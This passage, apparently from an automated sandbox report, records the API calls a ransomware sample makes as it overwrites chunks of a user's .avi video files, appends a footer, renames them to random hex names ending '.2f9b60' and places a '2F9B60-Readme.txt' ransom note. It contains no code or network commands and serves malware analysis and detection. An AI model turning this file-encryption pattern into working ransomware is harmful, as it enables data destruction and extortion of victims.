_Dest=0x1cd9c4ce, _Format="%c%c" | out: _Dest="7b") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4d0, _Format="%c%c" | out: _Dest="34") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4d2, _Format="%c%c" | out: _Dest="c2") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4d4, _Format="%c%c" | out: _Dest="ba") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4d6, _Format="%c%c" | out: _Dest="96") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4d8, _Format="%c%c" | out: _Dest="f6") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4da, _Format="%c%c" | out: _Dest="28") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4dc, _Format="%c%c" | out: _Dest="e1") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4de, _Format="%c%c" | out: _Dest="16") returned 2 [0122.856] sprintf (in: _Dest=0x1cd9c4e0, _Format="%c%c" | out: _Dest="2c") returned 2 [0122.857] sprintf (in: _Dest=0x1cd9c4e2, _Format="%c%c" | out: _Dest="df") returned 2 [0122.857] RtlInitAnsiString (in: DestinationString=0x40a4fc28, SourceString="ca2496c7387ea5eddf0ebaec09e65a9aed107b65ca7705d68f63c775edc1907b34c2ba96f628e1162cdf" | out: DestinationString="ca2496c7387ea5eddf0ebaec09e65a9aed107b65ca7705d68f63c775edc1907b34c2ba96f628e1162cdf") [0122.857] RtlAnsiStringToUnicodeString (in: DestinationString=0x40a4fbf8, SourceString="ca2496c7387ea5eddf0ebaec09e65a9aed107b65ca7705d68f63c775edc1907b34c2ba96f628e1162cdf", AllocateDestinationString=1 | out: DestinationString="ca2496c7387ea5eddf0ebaec09e65a9aed107b65ca7705d68f63c775edc1907b34c2ba96f628e1162cdf") returned 0x0 [0122.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107cc0 [0122.857] wcscat (in: _Dest=0x107900, _Source="ca2496c7387ea5eddf0eb" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\ca2496c7387ea5eddf0eb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\ca2496c7387ea5eddf0eb" [0122.857] wcscat (in: _Dest=0x107900, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\ca2496c7387ea5eddf0eb.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\ca2496c7387ea5eddf0eb.2f9b60" [0122.857] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\ca2496c7387ea5eddf0eb.2f9b60", NtPathName=0x40a4fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\ca2496c7387ea5eddf0eb.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776cb0 [0123.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776cb0) returned 1 [0123.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20292ea0) returned 1 [0123.224] NtQueryInformationFile (in: FileHandle=0x1714, IoStatusBlock=0x40a4fc38, FileInformation=0x40a4fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x40a4fc38, FileInformation=0x40a4fc48) returned 0x0 [0123.224] NtSetInformationFile (FileHandle=0x1714, IoStatusBlock=0x40a4fc38, FileInformation=0x40a4fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107900) returned 1 [0123.251] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107cc0) returned 1 [0123.251] FlushFileBuffers (hFile=0x1714) returned 1 [0123.257] CloseHandle (hObject=0x1714) returned 1 [0123.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad6b0 [0123.282] wcscpy (in: _Dest=0x202ad6b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0123.282] wcscat (in: _Dest=0x202ad6b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" [0123.282] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\2f9b60-readme.txt")) returned 0x20 [0123.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad6b0) returned 1 [0123.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 Thread: id = 1449 os_tid = 0x18f8 [0120.008] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\IIfnBnc9E bc.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\iifnbnc9e bc.avi")) returned 0x20 [0120.008] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\IIfnBnc9E bc.avi", dwFileAttributes=0x20) returned 1 [0120.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\IIfnBnc9E bc.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\iifnbnc9e bc.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1820 [0120.009] GetFileSizeEx (in: hFile=0x1820, lpFileSize=0x40b5f880 | out: lpFileSize=0x40b5f880*=94334) returned 1 [0120.009] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x1707a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.009] ReadFile (in: hFile=0x1820, lpBuffer=0x40b5f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x40b5f848, lpOverlapped=0x0 | out: lpBuffer=0x40b5f800*, lpNumberOfBytesRead=0x40b5f848*=0x4, lpOverlapped=0x0) returned 1 [0120.010] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0120.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0120.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0120.010] NtQuerySystemTime (in: CurrentTime=0x40b5f740 | out: CurrentTime=0x40b5f740*=132462177254002000) returned 0x0 [0120.010] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x487b60cd [0120.010] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x2dc041b8 [0120.010] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x10324b7b [0120.010] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x2ece9000 [0120.010] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x2e3f2fb7 [0120.010] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x21625ee4 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x139e8ba [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x43468c44 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x22c574b6 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x3bf52782 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x3d22fd63 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x7ded36e4 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x3c268827 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x4692a4bf [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x460454 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x255223aa [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x5198866a [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x3f8ea4df [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x74964977 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x21137479 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x126b7cb3 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0xeb52ab8 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x155c06e6 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x5882a7f8 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x67828c8e [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x3746a361 [0120.011] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x4282f6b5 [0120.012] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x5009d6b6 [0120.012] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x7f8680d [0120.012] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x3579dfbd [0120.012] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x61a179db [0120.012] RtlRandomEx (in: Seed=0x40b5f730 | out: Seed=0x40b5f730) returned 0x7c21d87c [0120.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606f0 [0120.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0120.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0120.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0120.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85feb0) returned 1 [0120.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0120.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cef8680 [0120.024] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.024] ReadFile (in: hFile=0x1820, lpBuffer=0x1cef8680, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x40b5f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1cef8680*, lpNumberOfBytesRead=0x40b5f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0120.024] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0120.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0120.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0120.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f670) returned 1 [0120.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf12af0 [0120.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0120.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0120.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85feb0) returned 1 [0120.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0120.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0120.026] WriteFile (in: hFile=0x1820, lpBuffer=0x1cf12af0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x40b5f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1cf12af0*, lpNumberOfBytesWritten=0x40b5f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0122.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf12af0) returned 1 [0122.150] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.150] ReadFile (in: hFile=0x1820, lpBuffer=0x1cef8680, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x40b5f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1cef8680*, lpNumberOfBytesRead=0x40b5f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0122.151] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0122.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d90 [0122.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0122.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260890) returned 1 [0122.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf12af0 [0122.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0122.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633e0 [0122.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202633e0) returned 1 [0122.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d90) returned 1 [0122.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0122.151] WriteFile (in: hFile=0x1820, lpBuffer=0x1cf12af0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x40b5f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1cf12af0*, lpNumberOfBytesWritten=0x40b5f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0122.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf12af0) returned 1 [0122.160] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x1347e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.160] ReadFile (in: hFile=0x1820, lpBuffer=0x1cef8680, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x40b5f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1cef8680*, lpNumberOfBytesRead=0x40b5f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0122.160] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x1347e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0122.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d590 [0122.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ba0 [0122.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860ba0) returned 1 [0122.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf12af0 [0122.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ba0 [0122.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0122.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0122.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d590) returned 1 [0122.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0122.161] WriteFile (in: hFile=0x1820, lpBuffer=0x1cf12af0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x40b5f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1cf12af0*, lpNumberOfBytesWritten=0x40b5f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0122.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf12af0) returned 1 [0122.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9630 [0122.164] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.164] WriteFile (in: hFile=0x1820, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x40b5f850, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x40b5f850*=0x152, lpOverlapped=0x0) returned 1 [0122.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0122.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860900 [0122.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860900) returned 1 [0122.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860900 [0122.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c30 [0122.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc70 [0122.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fc70) returned 1 [0122.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0122.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x42059560 [0122.868] sprintf (in: _Dest=0x42059560, _Format="%c%c" | out: _Dest="4f") returned 2 [0122.868] sprintf (in: _Dest=0x42059562, _Format="%c%c" | out: _Dest="3e") returned 2 [0122.868] sprintf (in: _Dest=0x42059564, _Format="%c%c" | out: _Dest="ee") returned 2 [0122.868] sprintf (in: _Dest=0x42059566, _Format="%c%c" | out: _Dest="85") returned 2 [0122.868] sprintf (in: _Dest=0x42059568, _Format="%c%c" | out: _Dest="51") returned 2 [0122.868] sprintf (in: _Dest=0x4205956a, _Format="%c%c" | out: _Dest="f5") returned 2 [0122.868] sprintf (in: _Dest=0x4205956c, _Format="%c%c" | out: _Dest="df") returned 2 [0122.868] sprintf (in: _Dest=0x4205956e, _Format="%c%c" | out: _Dest="65") returned 2 [0122.868] sprintf (in: _Dest=0x42059570, _Format="%c%c" | out: _Dest="2f") returned 2 [0122.868] sprintf (in: _Dest=0x42059572, _Format="%c%c" | out: _Dest="50") returned 2 [0122.868] sprintf (in: _Dest=0x42059574, _Format="%c%c" | out: _Dest="d1") returned 2 [0122.868] sprintf (in: _Dest=0x42059576, _Format="%c%c" | out: _Dest="b3") returned 2 [0122.868] sprintf (in: _Dest=0x42059578, _Format="%c%c" | out: _Dest="87") returned 2 [0122.869] sprintf (in: _Dest=0x4205957a, _Format="%c%c" | out: _Dest="11") returned 2 [0122.869] sprintf (in: _Dest=0x4205957c, _Format="%c%c" | out: _Dest="c3") returned 2 [0122.869] sprintf (in: _Dest=0x4205957e, _Format="%c%c" | out: _Dest="36") returned 2 [0122.869] sprintf (in: _Dest=0x42059580, _Format="%c%c" | out: _Dest="81") returned 2 [0122.869] sprintf (in: _Dest=0x42059582, _Format="%c%c" | out: _Dest="d0") returned 2 [0122.869] sprintf (in: _Dest=0x42059584, _Format="%c%c" | out: _Dest="14") returned 2 [0122.869] sprintf (in: _Dest=0x42059586, _Format="%c%c" | out: _Dest="b9") returned 2 [0122.869] sprintf (in: _Dest=0x42059588, _Format="%c%c" | out: _Dest="6d") returned 2 [0122.869] sprintf (in: _Dest=0x4205958a, _Format="%c%c" | out: _Dest="b4") returned 2 [0122.869] sprintf (in: _Dest=0x4205958c, _Format="%c%c" | out: _Dest="2a") returned 2 [0122.869] sprintf (in: _Dest=0x4205958e, _Format="%c%c" | out: _Dest="25") returned 2 [0122.869] sprintf (in: _Dest=0x42059590, _Format="%c%c" | out: _Dest="60") returned 2 [0122.869] sprintf (in: _Dest=0x42059592, _Format="%c%c" | out: _Dest="a4") returned 2 [0122.869] sprintf (in: _Dest=0x42059594, _Format="%c%c" | out: _Dest="2b") returned 2 [0122.869] sprintf (in: _Dest=0x42059596, _Format="%c%c" | out: _Dest="ac") returned 2 [0122.869] sprintf (in: _Dest=0x42059598, _Format="%c%c" | out: _Dest="2d") returned 2 [0122.869] sprintf (in: _Dest=0x4205959a, _Format="%c%c" | out: _Dest="bd") returned 2 [0122.869] sprintf (in: _Dest=0x4205959c, _Format="%c%c" | out: _Dest="a5") returned 2 [0122.869] sprintf (in: _Dest=0x4205959e, _Format="%c%c" | out: _Dest="16") returned 2 [0122.869] RtlInitAnsiString (in: DestinationString=0x40b5f8c8, SourceString="4f3eee8551f5df652f50d1b38711c33681d014b96db42a2560a42bac2dbda516" | out: DestinationString="4f3eee8551f5df652f50d1b38711c33681d014b96db42a2560a42bac2dbda516") [0122.870] RtlAnsiStringToUnicodeString (in: DestinationString=0x40b5f898, SourceString="4f3eee8551f5df652f50d1b38711c33681d014b96db42a2560a42bac2dbda516", AllocateDestinationString=1 | out: DestinationString="4f3eee8551f5df652f50d1b38711c33681d014b96db42a2560a42bac2dbda516") returned 0x0 [0122.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050b460 [0122.870] wcscat (in: _Dest=0x1cd65c30, _Source="4f3eee8551f5df65" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\4f3eee8551f5df65") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\4f3eee8551f5df65" [0122.870] wcscat (in: _Dest=0x1cd65c30, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\4f3eee8551f5df65.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\4f3eee8551f5df65.2f9b60" [0122.870] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\4f3eee8551f5df65.2f9b60", NtPathName=0x40b5f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\4f3eee8551f5df65.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118fd0 [0123.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118fd0) returned 1 [0123.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48f90) returned 1 [0123.224] NtQueryInformationFile (in: FileHandle=0x1820, IoStatusBlock=0x40b5f8d8, FileInformation=0x40b5f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x40b5f8d8, FileInformation=0x40b5f8e8) returned 0x0 [0123.224] NtSetInformationFile (FileHandle=0x1820, IoStatusBlock=0x40b5f8d8, FileInformation=0x40b5f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65c30) returned 1 [0123.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b460) returned 1 [0123.257] FlushFileBuffers (hFile=0x1820) returned 1 [0123.262] CloseHandle (hObject=0x1820) returned 1 [0123.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad3f0 [0123.284] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0123.285] wcscat (in: _Dest=0x202ad3f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" [0123.285] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\2f9b60-readme.txt")) returned 0x20 [0123.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad3f0) returned 1 [0123.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0510) returned 1 Thread: id = 1450 os_tid = 0x18fc [0120.039] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\INJqd7omecEO_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\injqd7omeceo_.avi")) returned 0x20 [0120.039] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\INJqd7omecEO_.avi", dwFileAttributes=0x20) returned 1 [0120.040] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\INJqd7omecEO_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\injqd7omeceo_.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1824 [0120.040] GetFileSizeEx (in: hFile=0x1824, 